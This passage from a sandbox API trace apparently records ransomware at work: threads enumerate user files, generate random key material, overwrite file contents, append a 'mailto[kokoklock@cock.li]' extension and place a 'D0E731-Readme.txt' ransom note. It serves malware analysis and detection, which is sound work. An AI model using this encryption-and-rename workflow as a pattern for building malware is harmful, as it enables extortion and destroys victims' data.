Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" [0088.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0088.661] FindNextFileW (in: hFindFile=0x33e0698, lpFindFileData=0x34ac2e8 | out: lpFindFileData=0x34ac2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0088.661] wcscmp (_String1="stream.x86.x-none.man.dat", _String2=".") returned 1 [0088.661] wcscmp (_String1="stream.x86.x-none.man.dat", _String2="..") returned 1 [0088.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x102) returned 0x341a528 [0088.661] wcscpy (in: _Dest=0x341a528, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" [0088.661] wcscat (in: _Dest=0x341a528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\" [0088.661] wcscat (in: _Dest=0x341a528, _Source="stream.x86.x-none.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" [0088.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341a528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0088.662] FindNextFileW (in: hFindFile=0x33e0698, lpFindFileData=0x34ac2e8 | out: lpFindFileData=0x34ac2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0088.662] FindClose (in: hFindFile=0x33e0698 | out: hFindFile=0x33e0698) returned 1 [0088.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ac2e8) returned 1 [0088.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494438) returned 1 [0088.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34760d0) returned 1 [0088.663] RtlExitUserThread (Status=0x0) Thread: id = 1139 os_tid = 0xcf8 [0082.792] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ajdrxahk.avi")) returned 0x20 [0082.793] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi", dwFileAttributes=0x20) returned 1 [0082.793] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ajdrxahk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.793] GetFileSizeEx (in: hFile=0x668, lpFileSize=0x286bf904 | out: lpFileSize=0x286bf904*=11885) returned 1 [0082.793] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x2e69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.793] ReadFile (in: hFile=0x668, lpBuffer=0x286bf8d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x286bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x286bf8d8*, lpNumberOfBytesRead=0x286bf8d4*=0x4, lpOverlapped=0x0) returned 1 [0082.794] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.794] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.794] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.794] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d140 [0082.794] NtQuerySystemTime (in: CurrentTime=0x286bf8b0 | out: CurrentTime=0x286bf8b0*=132121176406797788) returned 0x0 [0082.794] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xde9616b8 [0082.794] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x8d9964dc [0082.794] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x634fd032 [0082.794] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x9320ec72 [0082.794] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x5f44a6dd [0082.794] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xdfa150c1 [0082.794] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x9d6bce55 [0082.794] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x80dce46c [0082.794] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xf5575f2a [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x5195f68c [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xe2230ccc [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xe65aa6d1 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xd2eabc8a [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xef619e96 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xdc0e4f13 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xda589ba6 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xf1afc839 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x5ab8c019 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xad1de452 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x4eb6a7c2 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x46e63832 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xdc1086ba [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x4e8b6a84 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x2d04303b [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x143a1770 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x8d759042 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x1785793f [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x4af8909b [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0xd1beeb37 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x788a972a [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x20d35a91 [0082.795] RtlRandom (in: Seed=0x286bf8bc | out: Seed=0x286bf8bc) returned 0x3e920627 [0082.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0082.806] ReadFile (in: hFile=0x668, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2e6d, lpNumberOfBytesRead=0x286bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x286bf8b0*=0x2e6d, lpOverlapped=0x0) returned 1 [0082.806] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x286bf878 | out: lpNewFilePointer=0x0) returned 1 [0082.807] WriteFile (in: hFile=0x668, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x2e6d, lpNumberOfBytesWritten=0x286bf8ac, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x286bf8ac*=0x2e6d, lpOverlapped=0x0) returned 1 [0082.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d1b8 [0082.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d1b8) returned 1 [0082.807] WriteFile (in: hFile=0x668, lpBuffer=0x342ce98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x286bf8a8, lpOverlapped=0x0 | out: lpBuffer=0x342ce98*, lpNumberOfBytesWritten=0x286bf8a8*=0x20, lpOverlapped=0x0) returned 1 [0082.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0082.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.807] WriteFile (in: hFile=0x668, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x286bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x286bf8d4*=0x8, lpOverlapped=0x0) returned 1 [0082.807] WriteFile (in: hFile=0x668, lpBuffer=0x286bf8ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x286bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x286bf8ec*, lpNumberOfBytesWritten=0x286bf8d4*=0x4, lpOverlapped=0x0) returned 1 [0082.807] WriteFile (in: hFile=0x668, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x286bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x286bf8d4*=0x4, lpOverlapped=0x0) returned 1 [0082.807] WriteFile (in: hFile=0x668, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x286bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x286bf8d4*=0x6c, lpOverlapped=0x0) returned 1 [0082.807] WriteFile (in: hFile=0x668, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x286bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x286bf8d4*=0x20, lpOverlapped=0x0) returned 1 [0082.808] WriteFile (in: hFile=0x668, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x286bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x286bf8d4*=0x4, lpOverlapped=0x0) returned 1 [0082.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.808] CloseHandle (hObject=0x668) returned 1 [0082.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11c) returned 0x341da40 [0082.808] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi" [0082.808] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731" [0082.808] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ajdrxahk.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ajdrxahk.avi.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.952] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0084.954] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi", dwFileAttributes=0x20) returned 0 [0084.967] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348ac98 [0084.967] wcscpy (in: _Dest=0x348ac98, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0084.967] wcscat (in: _Dest=0x348ac98, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" [0084.967] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\d0e731-readme.txt")) returned 0x20 [0084.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ac98) returned 1 [0084.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34334c0) returned 1 [0084.972] RtlExitUserThread (Status=0x1) Thread: id = 1140 os_tid = 0x4b8 [0082.812] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\gnw x.swf")) returned 0x20 [0082.813] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf", dwFileAttributes=0x20) returned 1 [0082.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\gnw x.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x660 [0082.813] GetFileSizeEx (in: hFile=0x660, lpFileSize=0x2873f86c | out: lpFileSize=0x2873f86c*=49981) returned 1 [0082.813] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0xc339, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.813] ReadFile (in: hFile=0x660, lpBuffer=0x2873f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2873f83c, lpOverlapped=0x0 | out: lpBuffer=0x2873f840*, lpNumberOfBytesRead=0x2873f83c*=0x4, lpOverlapped=0x0) returned 1 [0082.814] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d1b8 [0082.814] NtQuerySystemTime (in: CurrentTime=0x2873f818 | out: CurrentTime=0x2873f818*=132121176407134330) returned 0x0 [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0xefb0e29a [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0xc16c6ab1 [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0xac50871b [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x34731c53 [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x8c5f8bae [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x7f992fa1 [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x284307be [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0xd5bbb6a3 [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x4e888c22 [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0xe12f9419 [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x27845988 [0082.814] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x40e7efd0 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x4005dbd4 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x42eee0ab [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x32c232 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x5e664751 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x628ef03a [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x273f9117 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0xb7e80c76 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x3bd092fa [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x24202d88 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x9093d928 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x2f55f26a [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x438cd868 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0xcd01a218 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x47ff8ee7 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0xac18ae57 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x1179328a [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0x595160a9 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0xd7ea9638 [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0xf4cf976b [0082.815] RtlRandom (in: Seed=0x2873f824 | out: Seed=0x2873f824) returned 0xc87b6e0d [0082.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.826] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.826] ReadFile (in: hFile=0x660, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2873f7f0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2873f7f0*=0x4096, lpOverlapped=0x0) returned 1 [0082.826] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0082.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d1e0 [0082.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d1e0) returned 1 [0082.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.827] WriteFile (in: hFile=0x660, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2873f7f0, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2873f7f0*=0x4096, lpOverlapped=0x0) returned 1 [0082.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0082.827] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0xc33d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.827] WriteFile (in: hFile=0x660, lpBuffer=0x342ce98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2873f828, lpOverlapped=0x0 | out: lpBuffer=0x342ce98*, lpNumberOfBytesWritten=0x2873f828*=0x20, lpOverlapped=0x0) returned 1 [0082.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 